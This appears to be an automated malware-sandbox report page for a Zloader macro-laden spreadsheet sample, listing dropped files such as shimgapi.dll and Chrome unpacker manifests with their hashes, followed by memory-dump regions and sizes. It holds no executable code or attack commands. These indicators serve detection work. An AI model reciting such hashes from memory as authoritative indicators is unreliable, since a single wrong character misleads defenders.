cf691e088f9852a3850ee458ef56406ead4aea539a46f8f90eb8e300bc06612a66dfa6c9dee8dcb801e7edf7fb4ed35226a5684f4164eaad073b9511189af037

Download Submit
C:\Users\Admin\Downloads\Zloader.xlsm:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Windows\SysWOW64\shimgapi.dll

Filesize
4KB

MD5
8750df7c3d110ebc870f7afe319426e6

SHA1
a770fff05a829f666517a5f42e44785d6f0b4ae7

SHA256
fa3f934083746a702de18b927284f0145d4b82a92f2111693e93a4f762b50c00

SHA512
dfcbc2ba358ec40143e842d5242781a59943e646f50c41010a8cc4e2c5a15d5b19dcd2ee9556a0317ca73283e84d1f9d1b0b8b7470b493fe38e4e027336b8a2a

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_1501613003\LICENSE

Filesize
1KB

MD5
ee002cb9e51bb8dfa89640a406a1090a

SHA1
49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2

SHA256
3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b

SHA512
d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_1501613003\manifest.json

Filesize
79B

MD5
7f4b594a35d631af0e37fea02df71e72

SHA1
f7bc71621ea0c176ca1ab0a3c9fe52dbca116f57

SHA256
530882d7f535ae57a4906ca735b119c9e36480cbb780c7e8ad37c9c8fdf3d9b1

SHA512
bf3f92f5023f0fbad88526d919252a98db6d167e9ca3e15b94f7d71ded38a2cfb0409f57ef24708284ddd965bda2d3207cd99c008b1c9c8c93705fd66ac86360

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_1572334186\manifest.fingerprint

Filesize
66B

MD5
496b05677135db1c74d82f948538c21c

SHA1
e736e675ca5195b5fc16e59fb7de582437fb9f9a

SHA256
df55a9464ee22a0f860c0f3b4a75ec62471d37b4d8cb7a0e460eef98cb83ebe7

SHA512
8bd1b683e24a8c8c03b0bc041288296448f799a6f431bacbd62cb33e621672991141c7151d9424ad60ab65a7a6a30298243b8b71d281f9e99b8abb79fe16bd3c

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_1572334186\manifest.json

Filesize
134B

MD5
049c307f30407da557545d34db8ced16

SHA1
f10b86ebfe8d30d0dc36210939ca7fa7a819d494

SHA256
c36944790c4a1fa2f2acec5f7809a4d6689ecb7fb3b2f19c831c9adb4e17fc54

SHA512
14f04e768956bdd9634f6a172104f2b630e2eeada2f73b9a249be2ec707f4a47ff60f2f700005ca95addd838db9438ad560e5136a10ed32df1d304d65f445780

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_509981145\manifest.json

Filesize
85B

MD5
c3419069a1c30140b77045aba38f12cf

SHA1
11920f0c1e55cadc7d2893d1eebb268b3459762a

SHA256
db9a702209807ba039871e542e8356219f342a8d9c9ca34bcd9a86727f4a3a0f

SHA512
c5e95a4e9f5919cb14f4127539c4353a55c5f68062bf6f95e1843b6690cebed3c93170badb2412b7fb9f109a620385b0ae74783227d6813f26ff8c29074758a1

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_523413257\manifest.json

Filesize
119B

MD5
cb10c4ca2266e0cce5fefdcb2f0c1998

SHA1
8f5528079c05f4173978db7b596cc16f6b7592af

SHA256
82dff3cc4e595de91dc73802ac803c5d5e7ab33024bdc118f00a4431dd529713

SHA512
7c690c8d36227bb27183bacaf80a161b4084e5ad61759b559b19c2cdfb9c0814ad0030d42736285ee8e6132164d69f5becdcf83ac142a42879aa54a60c6d201b

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_628636294\manifest.json

Filesize
176B

MD5
6607494855f7b5c0348eecd49ef7ce46

SHA1
2c844dd9ea648efec08776757bc376b5a6f9eb71

SHA256
37c30639ea04878b9407aecbcea4848b033e4548d5023ce5105ea79cab2c68dd

SHA512
8cb60725d958291b9a78c293992768cb03ff53ab942637e62eb6f17d80e0864c56a9c8ccafbc28246e9ce1fdb248e8d071d76764bcaf0243397d0f0a62b4d09a

Download Submit
memory/424-989-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-993-0x00007FFA54EF0000-0x00007FFA54F00000-memory.dmp

Filesize
64KB

Download
memory/424-987-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-988-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-990-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-991-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-992-0x00007FFA54EF0000-0x00007FFA54F00000-memory.dmp

Filesize
64KB

Download
memory/424-1744-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-1745-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-1746-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/424-1747-0x00007FFA57A90000-0x00007FFA57AA0000-memory.dmp

Filesize
64KB

Download
memory/3296-1786-0x00007FFA54EF0000-0x00007FFA54F00000-memory.dmp

Filesize
64KB

Download
memory/3296-1784-0x00007FFA54EF0000-0x00007FFA54F00000-memory.dmp

Filesize
64KB

Download
memory/3300-1961-0x00000000004A0000-0x00000000004AD000-memory.dmp

Filesize
52KB

Download
memory/3300-1969-0x00000000004A0000-0x00000000004AD000-memory.dmp

Filesize
52KB

Download
memory/3300-1965-0x000000007E1A0000-0x000000007E1A7000-memory.dmp

Filesize
28KB

Download
memory/3300-1970-0x000000007E1A0000-0x000000007E1A7000-memory.dmp

Filesize
28KB

Download
memory/4236-1155-0x000001E0EA680000-0x000001E0EA6A2000-memory.dmp

Filesize
136KB

Download
memory/5544-2013-0x000000007E1A0000-0x000000007E1A7000-memory.dmp

Filesize
28KB

Download
memory/5544-2016-0x00000000004A0000-0x00000000004AD000-memory.dmp

Filesize
52KB

Download
memory/7084-2177-0x0000000000630000-0x00000000006EC000-memory.dmp

Filesize
752KB

Download
memory/7084-2178-0x0000000005660000-0x0000000005C06000-memory.dmp

Filesize
5.6MB

Download
memory/7084-2179-0x0000000005190000-0x0000000005222000-memory.dmp

Filesize
584KB

Download
memory/7084-2180-0x0000000005330000-0x000000000533A000-memory.dmp

Filesize
40KB

Download